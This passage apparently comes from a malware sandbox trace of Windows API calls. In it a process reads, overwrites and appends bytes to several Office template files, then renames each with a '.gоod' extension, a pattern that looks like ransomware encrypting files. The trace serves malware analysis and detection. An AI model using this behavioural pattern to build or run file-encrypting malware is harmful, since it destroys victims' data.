Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0201.382] GetFileType (hFile=0x644) returned 0x1 [0201.382] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0201.382] GetFileType (hFile=0x644) returned 0x1 [0201.382] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0201.382] ReadFile (in: hFile=0x644, lpBuffer=0x38ab2a8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x38ab2a8*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0201.383] CloseHandle (hObject=0x644) returned 1 [0201.383] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", lpFilePart=0x0) returned 0x3e [0201.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0201.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0201.384] GetFileType (hFile=0x644) returned 0x1 [0201.384] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0201.384] GetFileType (hFile=0x644) returned 0x1 [0201.384] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x7200 [0201.384] WriteFile (in: hFile=0x644, lpBuffer=0x38ac680*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x38ac680*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0201.385] CloseHandle (hObject=0x644) returned 1 [0201.385] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", lpFilePart=0x0) returned 0x3e [0201.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0201.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0201.385] GetFileType (hFile=0x644) returned 0x1 [0201.385] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0201.385] GetFileType (hFile=0x644) returned 0x1 [0201.385] ReadFile (in: hFile=0x644, lpBuffer=0x38aea70, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x38aea70*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0201.700] CloseHandle (hObject=0x644) returned 1 [0201.700] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", lpFilePart=0x0) returned 0x3e [0201.700] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0201.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0201.700] GetFileType (hFile=0x644) returned 0x1 [0201.700] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0201.859] GetFileType (hFile=0x644) returned 0x1 [0202.438] WriteFile (in: hFile=0x644, lpBuffer=0x32c4a00*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x32c4a00*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0202.438] CloseHandle (hObject=0x644) returned 1 [0202.438] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", lpFilePart=0x0) returned 0x3e [0202.438] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT.gоod", lpFilePart=0x0) returned 0x43 [0202.438] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0202.438] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x74e0d6ba, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7210)) returned 1 [0202.439] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0202.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt.gоod")) returned 1 [0202.439] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", lpFilePart=0x0) returned 0x3e [0202.439] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0202.440] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), fInfoLevelId=0x0, lpFileInformation=0x3422b70 | out: lpFileInformation=0x3422b70*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800)) returned 1 [0202.440] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0202.440] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", lpFilePart=0x0) returned 0x3e [0202.440] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0202.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0202.441] GetFileType (hFile=0x644) returned 0x1 [0202.441] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0202.441] GetFileType (hFile=0x644) returned 0x1 [0202.441] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0202.441] ReadFile (in: hFile=0x644, lpBuffer=0x3422f58, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3422f58*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0202.442] CloseHandle (hObject=0x644) returned 1 [0202.442] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", lpFilePart=0x0) returned 0x3e [0202.443] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0202.443] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0202.443] GetFileType (hFile=0x644) returned 0x1 [0202.443] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0202.443] GetFileType (hFile=0x644) returned 0x1 [0202.443] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x7800 [0202.443] WriteFile (in: hFile=0x644, lpBuffer=0x3426008*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3426008*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0202.444] CloseHandle (hObject=0x644) returned 1 [0202.444] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", lpFilePart=0x0) returned 0x3e [0202.444] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0202.444] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0202.444] GetFileType (hFile=0x644) returned 0x1 [0202.444] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0202.444] GetFileType (hFile=0x644) returned 0x1 [0202.444] ReadFile (in: hFile=0x644, lpBuffer=0x342a760, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x342a760*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0202.472] CloseHandle (hObject=0x644) returned 1 [0202.472] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", lpFilePart=0x0) returned 0x3e [0202.472] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0202.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0202.472] GetFileType (hFile=0x644) returned 0x1 [0202.472] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0202.472] GetFileType (hFile=0x644) returned 0x1 [0202.472] WriteFile (in: hFile=0x644, lpBuffer=0x34294d0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x34294d0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0202.473] CloseHandle (hObject=0x644) returned 1 [0202.473] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT", lpFilePart=0x0) returned 0x3e [0202.473] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT.gоod", lpFilePart=0x0) returned 0x43 [0202.473] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0202.473] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x74e59d42, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7810)) returned 1 [0202.473] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0202.473] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR3.XLT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr3.xlt.gоod")) returned 1 [0202.474] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", lpFilePart=0x0) returned 0x3e [0202.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0202.474] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), fInfoLevelId=0x0, lpFileInformation=0x34a8f28 | out: lpFileInformation=0x34a8f28*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7600)) returned 1 [0202.474] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0202.474] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", lpFilePart=0x0) returned 0x3e [0202.474] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0202.474] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0202.474] GetFileType (hFile=0x644) returned 0x1 [0202.475] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0202.475] GetFileType (hFile=0x644) returned 0x1 [0202.475] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0202.475] ReadFile (in: hFile=0x644, lpBuffer=0x34a9310, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x34a9310*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0202.779] CloseHandle (hObject=0x644) returned 1 [0202.779] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", lpFilePart=0x0) returned 0x3e [0202.779] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0202.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0202.779] GetFileType (hFile=0x644) returned 0x1 [0202.779] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0202.779] GetFileType (hFile=0x644) returned 0x1 [0202.779] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x7600 [0202.780] WriteFile (in: hFile=0x644, lpBuffer=0x34bab80*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x34bab80*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0203.095] CloseHandle (hObject=0x644) returned 1 [0203.095] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", lpFilePart=0x0) returned 0x3e [0203.096] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0203.096] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0203.096] GetFileType (hFile=0x644) returned 0x1 [0203.096] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0203.096] GetFileType (hFile=0x644) returned 0x1 [0203.096] ReadFile (in: hFile=0x644, lpBuffer=0x337c6d8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x337c6d8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0203.123] CloseHandle (hObject=0x644) returned 1 [0203.123] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", lpFilePart=0x0) returned 0x3e [0203.123] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0203.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0203.124] GetFileType (hFile=0x644) returned 0x1 [0203.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0203.124] GetFileType (hFile=0x644) returned 0x1 [0203.124] WriteFile (in: hFile=0x644, lpBuffer=0x337b448*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x337b448*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0203.124] CloseHandle (hObject=0x644) returned 1 [0203.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT", lpFilePart=0x0) returned 0x3e [0203.124] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT.gоod", lpFilePart=0x0) returned 0x43 [0203.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0203.124] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x7549bf96, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7610)) returned 1 [0203.124] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0203.124] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR4.XLT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr4.xlt.gоod")) returned 1 [0203.126] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", lpFilePart=0x0) returned 0x3e [0203.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0203.126] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt"), fInfoLevelId=0x0, lpFileInformation=0x33f8a80 | out: lpFileInformation=0x33f8a80*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800)) returned 1 [0203.126] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0203.126] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", lpFilePart=0x0) returned 0x3e [0203.126] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0203.126] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0203.127] GetFileType (hFile=0x644) returned 0x1 [0203.127] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0203.127] GetFileType (hFile=0x644) returned 0x1 [0203.127] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0203.127] ReadFile (in: hFile=0x644, lpBuffer=0x33f8e68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x33f8e68*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0204.166] CloseHandle (hObject=0x644) returned 1 [0206.291] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT", lpFilePart=0x0) returned 0x3e [0206.291] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0206.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR5.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr5.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x478 [0206.291] GetFileType (hFile=0x478) returned 0x1 [0206.291] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0206.291] GetFileType (hFile=0x478) returned 0x1 [0206.291] SetFilePointer (in: hFile=0x478, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x7800 [0206.291] 